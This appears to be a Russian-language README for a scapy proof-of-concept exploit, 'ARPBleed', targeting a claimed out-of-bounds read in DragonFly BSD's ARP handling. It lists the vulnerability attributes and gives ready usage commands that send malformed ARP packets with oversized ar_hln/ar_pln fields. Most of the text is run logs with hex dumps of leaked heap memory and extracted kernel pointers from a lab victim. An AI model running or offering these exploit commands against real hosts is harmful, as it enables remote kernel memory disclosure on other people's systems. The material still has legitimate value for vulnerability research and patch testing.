
Python/scapy proof-of-concept для CVE-2026-110912 (ARPBleed) — чтение за пределами границ ar_hln/ar_pln в ARP в DragonFly BSD, приводящее к утечке памяти кучи и стека ядра.
ARPBleed 🩸
Уязвимость обработки ARP-пакетов | DragonFly BSD | Исследование безопасности
ARPBleed — это название, связанное с заявленной уязвимостью CVE-2026-110912, которая заключается в некорректной обработке полей длины пакетов Address Resolution Protocol (ARP) в DragonFly BSD.
Согласно предварительному описанию уязвимости, некорректно сформированные ARP-пакеты могут вызвать чтение за пределами выделенной области памяти, что потенциально может привести к раскрытию части памяти ядра через сетевые ответы.
Важно: Представленные здесь сведения об уязвимости являются предварительными и требуют проверки по авторитетным записям CVE и официальным рекомендациям производителя, прежде чем считаться подтверждёнными.
| Атрибут | Детали |
|---|---|
| CVE ID | CVE-2026-110912 |
| Название уязвимости | ARPBleed |
| Заявленный продукт | DragonFly BSD |
| Тип уязвимости | Чтение за пределами выделенной области памяти |
| Связанный CWE | CWE-130 — Некорректная обработка несоответствия параметра длины |
| Заявленный вектор атаки | Смежная сеть |
| Требуется аутентификация | По сообщениям, нет |
| Потенциальное воздействие | Раскрытие памяти ядра |
| Заявленная оценка CVSS | 7.1 — Не подтверждено |
| Заявленные уязвимые версии | До 6.4.2 — Не подтверждено |
| Устранение | Проверьте официальный патч производителя |
Address Resolution Protocol (ARP) используется в сетях IPv4 для преобразования IP-адресов в аппаратные адреса, обычно MAC-адреса.
Когда узлу необходимо связаться с другим устройством в локальной сети, он может широковещательно отправить ARP-запрос. Устройство с соответствующим IP-адресом может ответить ARP-ответом, содержащим свой аппаратный адрес.
CVE-2026-110912-ARPBleed.py — один файл, требуются python3 + scapy и права root (raw socket).
sudo python3 CVE-2026-110912-ARPBleed.py <victim-ip> [<iface>] [--hln N] [--pln N]
# heap leak (ar_sha carries ar_hln-6 bytes past the MAC)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 200 --pln 4
# stack leak (ar_spa carries ar_pln-4 bytes past &taddr)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 200
# sanity: a legal ARP, expect a clean reply and no leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 4
# maximum single-packet leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 255 --pln 255
Первые 6 байт утёкшей области ar_sha — это реальный MAC-адрес жертвы, а первые 4 байта ar_spa — это IP-адрес жертвы; всё, что идёт после этого, — это память ядра за пределами допустимых границ. Код выхода 0 при захваченной утечке, 2 — когда ответ не приходит (поведение исправленного ядра).
Жертва: DragonFly 6.4.2-RELEASE (стандартная установка, QEMU virtio-net), 10.170.0.10. Атакующий: Kali, scapy 2.7.01, 10.170.0.2, тот же сегмент L2.
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=4 arp_body=28 frame=42
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 42 bytes (reply ar_hln=6 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] legal ARP answered normally - no leak bytes (sanity)
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=200 ar_pln=4 arp_body=416 frame=430
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 430 bytes (reply ar_hln=200 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 194 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (200 bytes; bytes [6..199] are the OOB leak) ----
0000: 52 54 00 df 04 94 00 00 00 00 00 00 00 00 00 00 |RT..............|
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0020: 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 |................|
0030: 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 |................|
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0060: 00 00 10 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |....*F..........|
0070: 00 00 48 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |..H.*F..........|
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00c0: 00 00 00 00 00 00 00 00 |........|
-- kernel pointers in heap leak: 7 --
heap + 38 (abs 44): 0xffff000000000000
heap + 39 (abs 45): 0xffffff0000000000
heap + 40 (abs 46): 0xffffffff00000000
heap + 41 (abs 47): 0xffffffffff000000
heap + 42 (abs 48): 0xffffffffffff0000
heap + 92 (abs 98): 0xfffff800462a1210
heap +108 (abs 114): 0xfffff800462a1248
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] arpbleed REPRODUCED (remote): 194 heap OOB bytes + 0 stack OOB bytes; kernel pointers: 7 heap / 0 stack
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=200 arp_body=420 frame=434
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 434 bytes (reply ar_hln=6 ar_pln=200)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)